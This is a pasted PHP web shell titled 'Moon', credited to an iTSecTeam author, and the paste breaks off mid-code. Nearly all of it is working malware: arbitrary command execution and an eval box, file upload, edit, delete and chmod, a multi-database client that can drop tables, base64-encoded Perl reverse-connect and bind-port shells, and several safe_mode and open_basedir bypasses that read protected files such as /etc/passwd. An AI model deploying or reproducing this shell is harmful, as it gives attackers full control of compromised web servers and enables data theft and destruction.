· 8 years ago · Oct 24, 2017, 01:48 PM
1<?php
2session_start();
3if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
4$slash="\\";
5}else{
6$slash="/";
7}
8if ($_REQUEST['address']){
9if(is_readable($_REQUEST['address'])){
10chdir($_REQUEST['address']);}}
11
12$me=$_SERVER['PHP_SELF'];
13$formp="<form method=post action='".$me."'>";
14$formg="<form method=get action='".$me."'>";
15$nowaddress='<input type=hidden name=address value="'.getcwd().'">';
16if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) {
17 move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"]);
18 $ifupload="Uploaded :D";
19}
20if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){
21chmod($_POST['chmode'],"0".$_POST['chmodenum']);
22}
23$head='<head>
24<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
25<title>Moon</title>
26</head><body topmargin="0" leftmargin="0" rightmargin="0"
27bgcolor="#f2f2f2"><div align="center">
28 <table border="1" width="1000" height="14" bordercolor="#CDCDCD" style="border-collapse: collapse; border-style: solid; border-width: 1px">
29<tr>
30<td height="14" width="996">
31<p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="?do=filemanger">File
32Manger</a> -- <a href="?do=cmd">Command Execute</a> -- <a href="?do=bc">Back Connect</a> --
33<a href="?do=bypasscmd">BypasS Command eXecute(SF-DF)</a> --
34<a href="?do=bypassdir">BypasS Directory</a> -- <a href="?do=eval&address='.getcwd().'">
35Eval</a> -- <a href="?do=db">Data Base</a> -- <a href="?do=info">
36Server Information</a></span></font></td></tr></table></div>
37<div align="center">
38<table id="table2" style="border-collapse: collapse; border-style:
39solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6"
40cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 20px; margin-bottom: 20px;
41border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd"
42 height="620" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr>
43<td style="border: 1px solid rgb(198, 198, 198);"
44width="950" bgcolor="#e7e3de" height="590" valign="top">';
45$end='<p align="center"> </td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">Coded by Amin Shokohi (Pejvak)<br><a href="http://www.itsecteam.com" target="_blank><font size=1>iTSecTeam.com</a></font></span></td></tr></tbody></table></div></body></html>';
46$deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end;
47if ($_GET['do']=="edit" && $_GET['filename']!="dir"){
48if(is_readable($_GET['address'].$_GET['filename'])){
49$opedit=fopen($_GET['address'].$_GET['filename'],"r");
50while(!feof($opedit))
51$data.=fread($opedit,9999);
52fclose($opedit);
53echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlspecialchars("$data", ENT_QUOTES).'</textarea><br><input value="'.$_GET['filename'].'" name=namefe><br><input type=submit value=" Save "></form></p>'.$end;exit;
54}else{echo $deny;exit;}}
55function sizee($size)
56{
57 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
58 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
59 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
60 else {$size = $size . " B";}
61 return $size;
62}
63function deleteDirectory($dir) {
64if (!file_exists($dir)) return true;
65if (!is_dir($dir) || is_link($dir)) return unlink($dir);
66foreach (scandir($dir) as $item) {
67if ($item == '.' || $item == '..') continue;
68if (!deleteDirectory($dir . "/" . $item)) {
69chmod($dir . "/" . $item, 0777);
70if (!deleteDirectory($dir . "/" . $item)) return false;
71};}return rmdir($dir);}
72if($_GET['do']=="rename"){
73echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value=" Save "></form></p>'.$end;exit;
74}
75if ($_REQUEST['cdirname']){
76if(is_writable($_REQUEST['address'])){
77mkdir($_REQUEST['address'].$slash.$_REQUEST['cdirname'],"0777");}else{echo $deny;exit;}}
78function bcn($ipbc,$pbc){
79$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
80NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
81MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
82dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
83IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
84YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
85LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
86KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
87KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
88IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
89ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
90$opbc=fopen("bcc.pl","w");
91fwrite($opbc,base64_decode($bcperl));
92fclose($opbc);
93system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
94}
95function wbp($wb){
96$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
97cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
98a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
99ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
100IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
101IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
102VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
103VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
104$opwb=fopen("wbp.pl","w");
105fwrite($opwb,base64_decode($wbp));
106fclose($opwb);
107echo getcwd();
108system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
109}
110function lbp($wb){
111$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
112YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
113U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
114VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
115QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
116dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
117b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
118Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
119$oplb=fopen("lbp.pl","w");
120fwrite($oplb,base64_decode($lbp));
121fclose($oplb);
122system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
123}
124
125if($_REQUEST['portbw']){
126wbp($_REQUEST['portbw']);
127
128}if($_REQUEST['portbl']){
129lbp($_REQUEST['portbl']);
130}
131if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
132bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
133
134}
135
136if($_REQUEST['do']=="bc"){
137echo $head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>".$end;exit;
138
139}
140
141if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){
142if(is_writable($_REQUEST['cpyto'])){
143
144copy($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto']);
145}else{echo $deny;exit;}}
146if($_REQUEST['cfilename']){
147
148echo $head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c><br><input type=submit value=" Create "></form>'.$end;exit;
149}
150
151if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){
152if(is_writable($_REQUEST['address'])){
153
154$ofile4c=fopen($_REQUEST['address'].$slash.$_REQUEST['nf4c'],"w");
155fwrite($ofile4c,$_REQUEST['nf4cs']);
156fclose($ofile4c);
157}else{echo $deny;exit;}}
158
159function sqlclienT(){
160global $t,$errorbox,$et,$hcwd;
161if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
162$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
163$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
164$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR'];
165
166}
167
168if (isset ($_GET[select_db])){
169 $getdb=$_GET[select_db];
170 $_SESSION[db]=$getdb;
171 $query="SHOW TABLES";
172 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
173}
174elseif (isset ($_GET[select_tbl])){
175 $tbl=$_GET[select_tbl];
176 $_SESSION[tbl]=$tbl;
177 $query="SELECT * FROM `$tbl`";
178 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
179}
180elseif (isset ($_GET[drop_db])){
181 $getdb=$_GET[drop_db];
182 $_SESSION[db]=$getdb;
183 $query="DROP DATABASE `$getdb`";
184 querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query);
185 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES');
186}
187elseif (isset ($_GET[drop_tbl])){
188 $getbl=$_GET[drop_tbl];
189 $query="DROP TABLE `$getbl`";
190 querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
191 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES');
192}
193elseif (isset ($_GET[drop_row])){
194 $getrow=$_GET[drop_row];
195 $getclm=$_GET[clm];
196 $query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";
197 $tbl=$_SESSION[tbl];
198 querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
199 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`");
200}
201else
202 $res=querY($type,$server,$user,$pass,$db,$query);
203
204if($res){
205$res=htmlspecialchars($res);
206$row=array ();
207$title=explode('[+][+][+]',$res);
208$trow=explode('[-][-][-]',$title[1]);
209$row=explode('|+|+|+|+|+|',$title[0]);
210$data=array();
211$field=$trow[count($trow)-2];
212if (strstr($trow[0],'Database')!='')
213 $obj='db';
214elseif (substr($trow[0],0,6)=='Tables')
215 $obj='tbl';
216else
217 $obj='row';
218$i=0;
219foreach ($row as $a){
220if($a!='')
221$data[$i++]=explode('|-|-|-|-|-|',$a);
222}
223
224echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>";
225foreach ($trow as $ti)
226echo "<td bgcolor='F2F2F2'>$ti</td>";
227echo "</tr>";
228$j=0;
229while ($data[$j]){
230 echo "<tr>";
231 foreach ($data[$j++] as $dr){
232 echo "<td>";
233 if($obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>";
234 echo $dr;
235 if($obj!='row') echo "</a>";
236 echo "</td>";
237 }
238 echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr";
239 if($obj=='row')
240 echo "&clm=$field";
241 echo "'>Drop</a></td></tr>";
242}
243echo "</table><br>";
244
245}
246
247
248
249
250
251if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
252echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";
253if ($_REQUEST['typE']=='MySQL')echo 'selected';
254echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";
255if ($_REQUEST['typE']=='MSSQL')echo 'selected';
256echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";
257if ($_REQUEST['typE']=='Oracle')echo 'selected';
258echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";
259if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';
260echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' ";
261if ($_REQUEST['typE']=='DB2')echo 'selected';
262echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
263if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost';
264echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='";
265if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root';
266echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
267if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123';
268echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
269if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);
270echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>";
271if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES';
272echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>";
273}
274
275
276function querY($type,$host,$user,$pass,$db='',$query){
277$res='';
278switch($type){
279case 'MySQL':
280if(!function_exists('mysql_connect'))return 0;
281$link=mysql_connect($host,$user,$pass);
282if($link){
283if(!empty($db))mysql_select_db($db,$link);
284$result=mysql_query($query,$link);
285if ($result!=1){
286while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
287$res.='[+][+][+]';
288for($i=0;$i<mysql_num_fields($result);$i++)
289$res.=mysql_field_name($result,$i).'[-][-][-]';
290}
291mysql_close($link);
292return $res;
293}
294break;
295case 'MSSQL':
296if(!function_exists('mssql_connect'))return 0;
297$link=mssql_connect($host,$user,$pass);
298if($link){
299if(!empty($db))mssql_select_db($db,$link);
300$result=mssql_query($query,$link);
301while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
302$res.='[+][+][+]';
303for($i=0;$i<mssql_num_fields($result);$i++)
304$res.=mssql_field_name($result,$i).'[-][-][-]';
305mssql_close($link);
306return $res;
307}
308break;
309case 'Oracle':
310if(!function_exists('ocilogon'))return 0;
311$link=ocilogon($user,$pass,$db);
312if($link){
313$stm=ociparse($link,$query);
314ociexecute($stm,OCI_DEFAULT);
315while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
316$res.='[+][+][+]';
317for($i=0;$i<oci_num_fields($stm);$i++)
318$res.=oci_field_name($stm,$i).'[-][-][-]';
319return $res;
320}
321break;
322case 'PostgreSQL':
323if(!function_exists('pg_connect'))return 0;
324$link=pg_connect("host=$host dbname=$db user=$user password=$pass");
325if($link){
326$result=pg_query($link,$query);
327while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
328$res.='[+][+][+]';
329for($i=0;$i<pg_num_fields($result);$i++)
330$res.=pg_field_name($result,$i).'[-][-][-]';
331pg_close($link);
332return $res;
333}
334break;
335case 'DB2':
336if(!function_exists('db2_connect'))return 0;
337$link=db2_connect($db,$user,$pass);
338if($link){
339$result=db2_exec($link,$query);
340while($data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
341$res.='[+][+][+]';
342for($i=0;$i<db2_num_fields($result);$i++)
343$res.=db2_field_name($result,$i).'[-][-][-]';
344db2_close($link);
345return $res;
346}
347break;
348}
349return 0;
350}
351function bywsym($file){
352if(!function_exists('symlink')){echo "Function Symlink Not Exist";}
353
354if(!is_writable("."))
355 die("not writable directory");
356$level=0;
357for($as=0;$as<$fakedep;$as++){
358 if(!file_exists($fakedir))
359 mkdir($fakedir);
360 chdir($fakedir);
361}
362while(1<$as--) chdir("..");
363$hardstyle = explode("/", $file);
364for($a=0;$a<count($hardstyle);$a++){
365 if(!empty($hardstyle[$a])){
366 if(!file_exists($hardstyle[$a]))
367 mkdir($hardstyle[$a]);
368 chdir($hardstyle[$a]);
369 $as++;
370}}
371$as++;
372while($as--)
373 chdir("..");
374@rmdir("fakesymlink");
375@unlink("fakesymlink");
376@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
377while(1)
378 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
379 else $num++;
380@unlink("fakesymlink");
381mkdir("fakesymlink");
382}
383function bypcu($file){
384$level=0;
385
386if(!file_exists("file:"))
387 mkdir("file:");
388chdir("file:");
389$level++;
390
391$hardstyle = explode("/", $file);
392
393for($a=0;$a<count($hardstyle);$a++){
394 if(!empty($hardstyle[$a])){
395 if(!file_exists($hardstyle[$a]))
396 mkdir($hardstyle[$a]);
397 chdir($hardstyle[$a]);
398 $level++;
399 }
400}
401
402while($level--) chdir("..");
403
404$ch = curl_init();
405
406curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
407
408echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">';
409
410if(FALSE==curl_exec($ch))
411 die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
412
413echo ' </textarea> </FONT>';
414
415curl_close($ch);
416}
417if ($_REQUEST['bypcu']){
418bypcu($_REQUEST['bypcu']);
419}
420if($_REQUEST['do']=="bypasscmd"){
421if($_POST['bycw']){
422echo $_POST['bycw'];
423$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll');
424 $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw']."");
425 $stdout = $exec->StdOut();
426 $stcom = $stdout->ReadAll();}
427
428echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>'.$end;exit;;
429}
430if($_REQUEST['do']=="bypassdir"){
431if($_POST['byoc']){
432if(copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){
433$bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder";
434}else{$bopens="Can Not Bypass This";}
435}
436if($_POST['byfc']){
437curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__);
438$debfc=curl_exec($ch);
439}
440if($_POST['byetc']){
441for($bye=0;$bye<40000;$bye++){ //cat /etc/passwd
442$sbep =$sbep. posix_getpwuid($bye);
443}}
444if($_POST['byfc9']){
445echo "not sucsfull";
446}
447if($_REQUEST['bysyml']){
448$file=$_REQUEST['bysyml'];
449bywsym($file);
450}
451echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){var_dump($debfc);} echo $bopens.'</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">'.$formp.'<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>'.$formp.'<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore'.$formp.'<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>'.$end;exit;;
452
453
454
455
456}
457if($_POST['nameren'] && $_POST['addressren']){
458if(is_writable($_REQUEST['addressren'])){
459
460rename($_POST['addressren'],$_POST['nameren']);}else{echo $deny;exit;}
461}
462if($_GET['do']=="delete"){
463
464if ($_GET['type']=="dir"){
465if(is_writable($_REQUEST['address'])){
466$dir=$_GET['address'].$_GET['filename'];
467deleteDirectory($dir);
468}elseif($_GET['type']=="file"){
469if(is_writable($_GET['address'].$_GET['filename'])){
470
471unlink($_GET['address'].$_GET['filename']);}else{echo $deny;exit;}
472}
473}}
474if($_POST['fedit'] && $_POST['namefe']){
475if(is_writable($_REQUEST['address'])){
476
477$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w");
478echo bazam;
479fwrite($opensave,$_POST['fedit']);
480fclose($opensave);}else{echo $deny;exit;}
481}
482if ($_POST['evalsource']){
483
484eval($_POST['evalsource']);
485}
486if($_GET['do']=="eval"){
487echo $head.$formp.$nowaddress.'<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value=" eXecute "></form></p>'.$end;exit;
488}
489if($_GET['do']=="info"){
490if(ini_get('safe_mode')){
491$safe_modes="On";
492}else{
493$safe_modes="Off";
494}
495if(ini_get('disable_functions')){
496$disablef=ini_get('disable_functions');
497}else{
498$disablef="All Functions Enable";
499}
500if(ini_get('register_globals')){
501$registerg="Enable";
502}else{
503$registerg="disable";
504}
505if(extension_loaded('curl')){
506$curls="Enable";
507}else{
508$curls="disable";
509}
510if(@function_exists('mysql_connect')){
511$db_on = "Mysql : On";
512};
513if(@function_exists('mssql_connect')){
514$db_on = "Mssql : On";
515};
516if(@function_exists('pg_connect')){
517$db_on = "PostgreSQL : On";
518};if(@function_exists('ocilogon')){
519$db_on = "Oracle : On";
520};
521
522echo $head."<font face='Tahoma' size='2'>Operating System : ".php_uname()."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Disable_Functions : ".$disablef."<br>Safe_Mode : ".$safe_modes."<br>Openbase_dir : ".ini_get('openbase_dir')."<br>Php Version : ".phpversion()."<br>Free Space : ".sizee(disk_free_space("/"))."<br>Total Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end;
523exit;
524}
525if ($_GET['do']=="cmd"){
526echo $head.'
527<form method=get action="'.$me.'">
528<p align="center">
529<textarea rows="19" name="S1" cols="87">';if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
530echo $_GET['execmethod']($_GET['command']);}
531if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
532popen($_GET['command'],"r");}
533
534echo'</textarea></p><p align="center">
535<input type=hidden name="do" size="50" value="cmd"> <input type="text" name="command" size="50"><select name=execmethod>
536 <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option>
537</select><input type="submit" value="eXecute">
538</p></form>'.$end;exit;}
539if($_GET['do']=="db"){
540echo $head;sqlclienT();echo $end;
541exit;
542}
543if($_REQUEST['file2ch'] && $_REQUEST['chmodnow']){
544$chmodnum2=$_REQUEST['chmodnow'];
545chmod($_REQUEST['file2ch'],"0".$chmodnum2);
546}
547if($_GET['do']=="chmod"){
